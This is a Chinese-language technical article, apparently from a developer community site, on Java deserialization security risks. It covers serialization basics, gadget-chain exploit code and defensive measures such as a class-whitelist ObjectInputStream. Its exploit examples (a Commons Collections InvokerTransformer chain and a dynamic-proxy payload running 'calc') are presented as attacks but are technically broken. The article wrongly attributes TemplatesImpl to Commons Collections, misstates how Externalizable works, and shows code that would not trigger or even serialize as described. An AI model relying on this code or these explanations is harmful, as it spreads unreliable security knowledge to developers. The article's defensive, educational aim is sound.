MK
摩柯社区 - 一个极简的技术知识社区
AI 面试

Java反序列化安全风险分析

2023-03-296.8k 阅读

Java反序列化基础概念

在Java中，对象序列化是将对象的状态转换为字节流的过程，以便可以将其存储到文件、数据库或通过网络传输。而反序列化则是相反的过程，将字节流重新转换回对象。

Java通过实现java.io.Serializable接口来标记一个类是可序列化的。例如：

import java.io.Serializable;

public class User implements Serializable {
    private String username;
    private String password;

    public User(String username, String password) {
        this.username = username;
        this.password = password;
    }

    public String getUsername() {
        return username;
    }

    public String getPassword() {
        return password;
    }
}

在这个例子中，User类实现了Serializable接口，因此它的对象可以被序列化。

序列化对象通常使用ObjectOutputStream，而反序列化则使用ObjectInputStream。以下是简单的序列化和反序列化示例：

import java.io.*;

public class SerializationExample {
    public static void main(String[] args) {
        // 序列化
        User user = new User("admin", "123456");
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.ser"))) {
            oos.writeObject(user);
        } catch (IOException e) {
            e.printStackTrace();
        }

        // 反序列化
        User deserializedUser = null;
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("user.ser"))) {
            deserializedUser = (User) ois.readObject();
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }

        if (deserializedUser != null) {
            System.out.println("Deserialized User: " + deserializedUser.getUsername() + ", " + deserializedUser.getPassword());
        }
    }
}

这段代码首先创建了一个User对象并将其序列化到文件user.ser中，然后从该文件中反序列化出User对象并输出其信息。

反序列化过程中的关键方法

在Java反序列化过程中，有几个关键的方法可能会被恶意利用。

readObject 方法

当一个类实现了java.io.Externalizable接口，或者定义了一个私有的readObject方法（用于自定义反序列化逻辑）时，readObject方法会在反序列化时被调用。例如：

import java.io.*;

public class CustomDeserialization implements Serializable {
    private String data;

    public CustomDeserialization(String data) {
        this.data = data;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        System.out.println("Custom deserialization logic: " + data);
    }
}

在这个例子中，CustomDeserialization类定义了一个readObject方法。在反序列化时，除了执行默认的反序列化操作（ois.defaultReadObject()），还会执行自定义的逻辑，这里只是简单地输出数据。

readObjectNoData 方法

如果一个可序列化的类发生了变化（例如添加或删除了字段），并且反序列化的流中没有足够的数据来填充新的对象状态，那么readObjectNoData方法会被调用。例如：

import java.io.*;

public class VersionedClass implements Serializable {
    private static final long serialVersionUID = 1L;
    private String oldData;
    private int newField;

    public VersionedClass(String oldData) {
        this.oldData = oldData;
    }

    private void readObjectNoData() throws ObjectStreamException {
        newField = -1;
        System.out.println("Handling missing data in deserialization");
    }
}

在这个例子中，VersionedClass类添加了一个新字段newField。如果反序列化流中没有为newField提供数据，readObjectNoData方法会被调用，这里将newField初始化为 -1 并输出提示信息。

Java反序列化安全风险本质

Java反序列化的安全风险本质上源于反序列化过程中对字节流的解析和对象重建。由于反序列化机制允许将字节流转换为任意对象，恶意攻击者可以构造恶意的字节流，使得在反序列化时执行恶意代码。

当反序列化一个对象时，Java虚拟机（JVM）会按照字节流中的信息创建对象，并调用对象的构造函数和特定的反序列化方法（如readObject）。如果这些方法中存在可被利用的逻辑漏洞，攻击者就可以通过精心构造的字节流来触发这些漏洞。

例如，假设一个类在readObject方法中执行了外部命令，如下：

import java.io.*;

public class DangerousDeserialization implements Serializable {
    private String command;

    public DangerousDeserialization(String command) {
        this.command = command;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        Runtime.getRuntime().exec(command);
    }
}

攻击者可以构造一个恶意的字节流，当反序列化这个字节流时，readObject方法会执行攻击者指定的命令，从而导致系统被攻击。

常见的反序列化漏洞利用方式

利用第三方库的漏洞

许多Java应用程序使用第三方库来处理复杂的功能。一些第三方库在反序列化时可能存在漏洞。例如，Apache Commons Collections库曾经被发现存在严重的反序列化漏洞。

在Apache Commons Collections库中，有一些类（如TemplatesImpl）可以被利用来执行任意代码。攻击者可以通过构造特定的对象链，在反序列化时触发恶意代码执行。以下是一个简化的利用示例（实际利用可能更复杂）：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsExploit {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("key", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor constructor = templatesImplClass.getDeclaredConstructor();
        constructor.setAccessible(true);
        Object templates = constructor.newInstance();

        Field nameField = templatesImplClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "Exploit");

        Field bytecodesField = templatesImplClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[][] fakeBytecodes = new byte[][]{new byte[0]};
        bytecodesField.set(templates, fakeBytecodes);

        Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, null);

        Field outputPropertiesField = templatesImplClass.getDeclaredField("_outputProperties");
        outputPropertiesField.setAccessible(true);
        outputPropertiesField.set(templates, null);

        outerMap.put(templates, "anything");

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(outerMap);
        oos.close();

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
        ois.close();
    }
}

在这个示例中，通过构造一系列的Transformer对象并将其组合成一个ChainedTransformer，再利用TransformedMap和TemplatesImpl类的特性，当反序列化包含这些对象的字节流时，会执行calc命令（在实际攻击中可能会执行更恶意的命令）。

利用动态代理

Java的动态代理机制也可能被用于反序列化攻击。动态代理允许在运行时创建代理对象，这些代理对象可以代理其他对象的方法调用。

攻击者可以利用动态代理构造恶意的对象，使得在反序列化时触发恶意的方法调用。例如：

import java.io.*;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class DynamicProxyExploit {
    public static void main(String[] args) throws Exception {
        InvocationHandler handler = new InvocationHandler() {
            @Override
            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                if ("equals".equals(method.getName())) {
                    Runtime.getRuntime().exec("calc");
                    return true;
                }
                return null;
            }
        };

        Class[] interfaces = new Class[]{Serializable.class};
        Object proxy = Proxy.newProxyInstance(DynamicProxyExploit.class.getClassLoader(), interfaces, handler);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(proxy);
        oos.close();

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
        ois.close();
    }
}

在这个例子中，创建了一个实现InvocationHandler的对象，在invoke方法中，当equals方法被调用时，执行calc命令。然后通过动态代理创建一个代理对象并将其序列化，反序列化时如果触发了代理对象的equals方法调用，就会执行恶意命令。

反序列化安全风险的检测与防范

检测方法

  1. 代码审查：对涉及反序列化的代码进行仔细审查，特别是检查readObject等方法是否存在潜在的安全风险，例如是否执行外部命令或访问敏感资源。
  2. 静态分析工具：使用静态分析工具如FindBugs、Checkstyle等，这些工具可以检测出一些常见的反序列化安全问题。例如，FindBugs可以检测出可能存在的危险的反序列化操作。
  3. 动态分析：在应用程序运行时，通过监控反序列化过程中的系统调用和资源访问，检测是否有异常的行为。例如，可以使用Java Agent技术来拦截反序列化相关的方法调用，检查是否执行了恶意命令。

防范措施

  1. 限制反序列化的来源：只反序列化来自可信源的数据，避免从不受信任的网络连接或文件中反序列化数据。例如，可以通过数字签名来验证数据的来源。
  2. 白名单机制：建立一个允许反序列化的类的白名单，只允许白名单中的类被反序列化。可以通过自定义ObjectInputStream的resolveClass方法来实现。例如：
import java.io.*;
import java.util.HashSet;
import java.util.Set;

public class WhitelistedObjectInputStream extends ObjectInputStream {
    private static final Set<String> ALLOWED_CLASSES = new HashSet<>();

    static {
        ALLOWED_CLASSES.add("com.example.User");
        // 添加其他允许的类
    }

    public WhitelistedObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (!ALLOWED_CLASSES.contains(desc.getName())) {
            throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
        }
        return super.resolveClass(desc);
    }
}

在这个例子中，WhitelistedObjectInputStream类继承自ObjectInputStream并重写了resolveClass方法，只有在ALLOWED_CLASSES集合中的类才能被反序列化。 3. 避免在反序列化方法中执行敏感操作：确保readObject等反序列化方法中不执行敏感操作，如执行外部命令、访问文件系统或数据库等。如果确实需要执行一些操作，要进行严格的权限检查和输入验证。 4. 更新第三方库：及时更新使用的第三方库，以修复已知的反序列化漏洞。例如，当Apache Commons Collections库发布了修复反序列化漏洞的版本时，应尽快升级应用程序中使用的该库版本。

实际案例分析

某Web应用的反序列化漏洞

假设有一个基于Java的Web应用，该应用使用了一个第三方库来处理用户会话的序列化和反序列化。攻击者发现该第三方库存在反序列化漏洞。

攻击者构造了一个恶意的会话数据，当Web应用反序列化这个会话数据时，触发了漏洞。由于应用在反序列化过程中执行了一些不安全的代码，攻击者成功地在服务器上执行了恶意命令，获取了服务器的权限。

具体来说，第三方库中的某个类在readObject方法中根据反序列化的数据来动态加载类并调用方法。攻击者通过构造恶意数据，使得加载了一个恶意类，并执行了恶意类中的方法，该方法执行了系统命令，如上传后门文件到服务器。

为了修复这个漏洞，开发团队首先升级了第三方库到没有漏洞的版本。同时，对应用中涉及会话反序列化的代码进行了审查，确保没有其他不安全的反序列化操作。并且在反序列化入口处添加了白名单机制，只允许特定的类被反序列化。

开源项目中的反序列化风险

在一个开源的Java项目中，开发者为了实现数据的持久化，使用了Java的序列化机制。然而，在项目的某个模块中，存在一个类，其readObject方法中根据反序列化的数据执行了文件读取操作，并且没有对文件路径进行严格的验证。

攻击者利用这个漏洞，构造了恶意的序列化数据，使得在反序列化时读取了服务器上的敏感文件，如数据库配置文件，从而获取了数据库的连接信息。

项目维护者在发现这个问题后，对readObject方法进行了修改，添加了对文件路径的严格验证，只允许读取特定目录下的文件。同时，对整个项目进行了全面的代码审查，检查是否还有其他类似的反序列化安全风险。

通过以上实际案例可以看出，Java反序列化安全风险在实际应用中是真实存在的，并且可能导致严重的安全问题。开发人员需要高度重视反序列化的安全性，采取有效的检测和防范措施来保障应用程序的安全。

在Java开发中，理解反序列化的安全风险并采取相应的防范措施是至关重要的。无论是开发小型应用还是大型企业级系统，都不能忽视反序列化可能带来的安全隐患。通过对反序列化基础概念、关键方法、风险本质、漏洞利用方式以及检测与防范措施的深入了解，开发人员能够编写出更安全可靠的Java应用程序。同时，持续关注第三方库的安全更新以及进行定期的安全审查，也是保障应用安全的重要手段。只有这样，才能有效地应对Java反序列化带来的安全挑战，保护应用程序和用户数据的安全。